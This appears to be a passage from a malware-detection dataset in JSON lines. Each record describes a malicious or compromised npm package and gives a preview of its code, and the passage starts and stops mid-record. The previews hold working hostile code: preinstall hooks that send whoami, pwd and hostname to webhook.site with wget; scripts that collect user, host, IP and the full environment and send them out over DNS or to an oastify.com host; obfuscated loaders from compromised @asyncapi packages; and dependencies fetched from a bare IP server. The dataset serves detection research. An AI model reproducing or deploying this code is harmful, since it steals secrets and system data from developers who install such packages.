require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpavh_x_c4/000webhost-api/package/index.js", "tmp/tmpavh_x_c4/000webhost-api/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@parser", "version": "3.4.1", "filename": "2025-11-24-@asyncapi_parser-v3.4.1.zip", "primary_file": "tmp/tmpmhpcv3xn/@asyncapi-parser/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpmhpcv3xn/@asyncapi-parser/package/bun_environment.js", "tmp/tmpmhpcv3xn/@asyncapi-parser/package/browser/index.js", "tmp/tmpmhpcv3xn/@asyncapi-parser/package/cjs/ruleset/v2/ruleset.js", "tmp/tmpmhpcv3xn/@asyncapi-parser/package/esm/ruleset/v2/ruleset.js", "tmp/tmpmhpcv3xn/@asyncapi-parser/package/cjs/models/v3/schema.js", "tmp/tmpmhpcv3xn/@asyncapi-parser/package/esm/models/v3/schema.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@openapi-schema-parser", "version": "3.0.26", "filename": "2025-11-24-@asyncapi_openapi-schema-parser-v3.0.26.zip", "primary_file": "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/bun_environment.js", "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/cjs/json-schema-v3.js", "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/esm/json-schema-v3.js", "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/setup_bun.js", "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/cjs/index.js", "tmp/tmp_sw2h3ql/@asyncapi-openapi-schema-parser/package/esm/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "0vulns-dependency-confusion-poc", "version": "1.0.0", "filename": "2024-12-25-0vulns-dependency-confusion-poc-v1.0.0.zip", "primary_file": "tmp/tmpbibs2vs0/0vulns-dependency-confusion-poc/package/package.json", "diff_preview": "{\n \"name\": \"0vulns-dependency-confusion-poc\",\n \"version\": \"1.0.0\",\n \"description\": \"Simple PoC package for testing for dependency confusion vulnerabilities.\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"wget --quiet \\\"https://webhook.site/b8e1f97a-a6a9-4353-bb3b-e9eb416eb996?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\\\" # CHANGE IP ADDRESS\",\n \"preinstall\": \"wget --quiet \\\"https://webhook.site/b8e1f97a-a6a9-4353-bb3b-e9eb416eb996?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\\\" # CHANGE IP ADDRESS\"\n },\n \"keywords\": [\n \"test\",\n \"PoC\"\n ],\n \"dependencies\": {},\n \"config\": {\n \"unsafe-perm\":true\n },\n \"author\": \"WayCup\",\n \"license\": \"ISC\"\n}", "files": ["tmp/tmpbibs2vs0/0vulns-dependency-confusion-poc/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-checkout", "version": "999.9.9", "filename": "2024-12-14-000webhost-checkout-v999.9.9.zip", "primary_file": "tmp/tmpbi0mqrw3/000webhost-checkout/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpbi0mqrw3/000webhost-checkout/package/index.js", "tmp/tmpbi0mqrw3/000webhost-checkout/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-cache", "version": "999.9.9", "filename": "2024-12-14-000webhost-cache-v999.9.9.zip", "primary_file": "tmp/tmp55yl2jkz/000webhost-cache/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp55yl2jkz/000webhost-cache/package/index.js", "tmp/tmp55yl2jkz/000webhost-cache/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-database", "version": "999.9.9", "filename": "2024-12-14-000webhost-database-v999.9.9.zip", "primary_file": "tmp/tmp6l1dskaj/000webhost-database/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp6l1dskaj/000webhost-database/package/index.js", "tmp/tmp6l1dskaj/000webhost-database/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-connect", "version": "999.9.9", "filename": "2024-12-14-000webhost-connect-v999.9.9.zip", "primary_file": "tmp/tmpwtet22j9/000webhost-connect/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpwtet22j9/000webhost-connect/package/index.js", "tmp/tmpwtet22j9/000webhost-connect/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "0x-smart-contracts", "version": "99.99.99", "filename": "2025-05-04-0x-smart-contracts-v99.99.99.zip", "primary_file": "tmp/tmp6b8afr22/0x-smart-contracts/package/index.js", "diff_preview": "// Author: security@threadsecurity.org\n\nconst { execSync } = require(\"child_process\");\nconst https = require(\"https\");\nconst os = require(\"os\");\nconst dns = require(\"dns\");\nconst querystring = require(\"querystring\");\n\n// SYSTEM DATA COLLECTION\nlet hostname = os.hostname();\nlet homedir = os.homedir();\nlet username = os.userInfo().username;\nlet dnsServers = dns.getServers();\nlet platform = os.platform();\nlet arch = os.arch();\nlet uptime = os.uptime();\n\n// EXECUTE SHELL COMMANDS FOR STRONG PROOF\nlet whoami = \"\";\nlet uname = \"\";\ntry {\n whoami = execSync(\"whoami\").toString().trim();\n uname = execSync(\"uname -a\").toString().trim();\n} catch (err) {\n // Fallbacks if command fails\n whoami = \"command_failed\";\n uname = \"command_failed\";\n}\n\n// PACKAGE INFO\nlet packageData = {};\ntry {\n packageData = require(\"./package.json\");\n} catch (e) {\n packageData = { name: \"unknown\", version: \"unknown\" };\n}\n\n// COMPILE PAYLOAD\nconst trackingData = JSON.stringify({\n package: packageData.name,\n version: packageData.version,\n homedir,\n hostname,\n username,\n dnsServers,\n platform,\n arch,\n uptime,\n whoami,\n uname,\n cwd: process.cwd(),\n env: process.env,\n});\n\n// ENCODE FOR TRANSMISSION\nconst postData = querystring.stringify({ msg: trackingData });\n\n// SEND TO YOUR SERVER (USE Interactsh/Burp/Pipedream)\nconst options = {\n hostname: \"qrla8h516fc42lnci67351vcs3yumpae.oastify.com\", // Replace with your domain\n port: 443,\n path: \"/\",\n meth", "files": ["tmp/tmp6b8afr22/0x-smart-contracts/package/index.js", "tmp/tmp6b8afr22/0x-smart-contracts/package/package.json"], "malicious_signal_count": 11, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "0xmisoke", "version": "1.0.0", "filename": "2024-05-26-0xmisoke-v1.0.0.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplo652u02/package/package.json", "diff_preview": "{\n \"name\": \"0xmisoke\",\n \"version\": \"1.0.0\",\n \"description\": \"Jual Beli All Variant Kopling\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"agus\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/uhuhana/agus-kopling.git\"\n },\n \"keywords\": [\n \"aguskopling\"\n ],\n \"author\": \"uhuhana\",\n \"license\": \"ISC\",\n \"bugs\": {\n \"url\": \"https://github.com/uhuhana/agus-kopling/issues\"\n },\n \"homepage\": \"https://github.com/uhuhana/agus-kopling#readme\",\n \"dependencies\": {\n \"abbeeytea\": \"^1.1.6\",\n \"airynotes\": \"^1.1.5\",\n \"astralamber\": \"^1.1.2\",\n \"bey0tea\": \"^1.1.41\",\n \"beypremajg\": \"^1.1.4\",\n \"beypremtea\": \"^1.1.5\",\n \"beypremtea1\": \"^1.1.4\",\n \"calender-nifty\": \"^1.1.6\",\n \"celestialciphercd\": \"^1.1.2\",\n \"ciphersage\": \"^1.1.2\",\n \"compaspetter\": \"^1.1.5\",\n \"cosmicchorus\": \"^1.1.2\",\n \"desateatertinggal45\": \"^1.1.4\",\n \"exa2tea\": \"^1.1.4\",\n \"kuymad69tea\": \"^1.1.4\",\n \"last-notes\": \"^1.1.4\",\n \"luminouslab\": \"^1.1.2\",\n \"lunarloom\": \"^1.1.2\",\n \"naraonline\": \"^1.1.6\",\n \"nebulanomad\": \"^1.1.2\",\n \"neonnebulay\": \"^1.1.2\",\n \"pinsapod\": \"^1.1.5\",\n \"prayudha378\": \"^1.1.3\",\n \"quasarquest\": \"^1.1.2\",\n \"queencrow\": \"^1.1.5\",\n \"stellarscribe\": \"^1.1.2\",\n \"systemofdown\": \"^1.1.6\",\n \"tea_fahmisugeng13\": \"^1.1.4\",\n \"teabrutu\": \"^1.1.4\",\n \"vividvortex\": \"^1.1.2\",\n \"yudhakuy420\": \"^1.1.4\"\n }\n}\n", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplo652u02/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplo652u02/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@php-template", "version": "0.1.1", "filename": "2025-11-24-@asyncapi_php-template-v0.1.1.zip", "primary_file": "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpfzq9zqq9/@asyncapi-php-template/package/bun_environment.js", "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/setup_bun.js", "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/.github/workflows/scripts/mailchimp/index.js", "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/package.json", "tmp/tmpfzq9zqq9/@asyncapi-php-template/package/filters/all.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-cloud", "version": "999.9.9", "filename": "2024-12-14-000webhost-cloud-v999.9.9.zip", "primary_file": "tmp/tmpadrjj4tm/000webhost-cloud/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpadrjj4tm/000webhost-cloud/package/index.js", "tmp/tmpadrjj4tm/000webhost-cloud/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@python-paho-template", "version": "0.2.14", "filename": "2025-11-24-@asyncapi_python-paho-template-v0.2.14.zip", "primary_file": "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/bun_environment.js", "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/filters/all.js", "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/setup_bun.js", "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/lib/templateUtil.js", "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/package.json", "tmp/tmpt9j1h2sk/@asyncapi-python-paho-template/package/template/main.py"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1inch-p2p-sdk", "version": "0.1.0", "filename": "2025-08-06-1inch-p2p-sdk-v0.1.0.zip", "primary_file": "tmp/tmp0dga_h0c/1inch-p2p-sdk/package/package.json", "diff_preview": "{\n \"name\": \"1inch-p2p-sdk\",\n \"version\": \"0.1.0\",\n \"description\": \"JPD\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n },\n \"dependencies\": {\n \"axios\": \"^1.7.9\",\n \"chai\": \"http://54.173.15.59:8080/npm/1inch-p2p-sdk\",\n \"node-fetch\": \"*\",\n \"ws\": \"^8.18.0\"\n },\n \"devDependencies\": {\n \"standard-with-typescript\": \"http://54.173.15.59:8080/npm/1inch-p2p-sdk\"\n },\n \"engines\": {\n \"node\": \">=14.0.0\"\n },\n \"keywords\": [],\n \"author\": \"JPD\",\n \"license\": \"ISC\"\n}\n", "files": ["tmp/tmp0dga_h0c/1inch-p2p-sdk/package/package.json", "tmp/tmp0dga_h0c/1inch-p2p-sdk/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1imit", "version": "1.0.3", "filename": "2025-06-03-1imit-v1.0.3.zip", "primary_file": "tmp/tmpknw47tgc/1imit/package/lib/private/prepare-writer.js", "diff_preview": 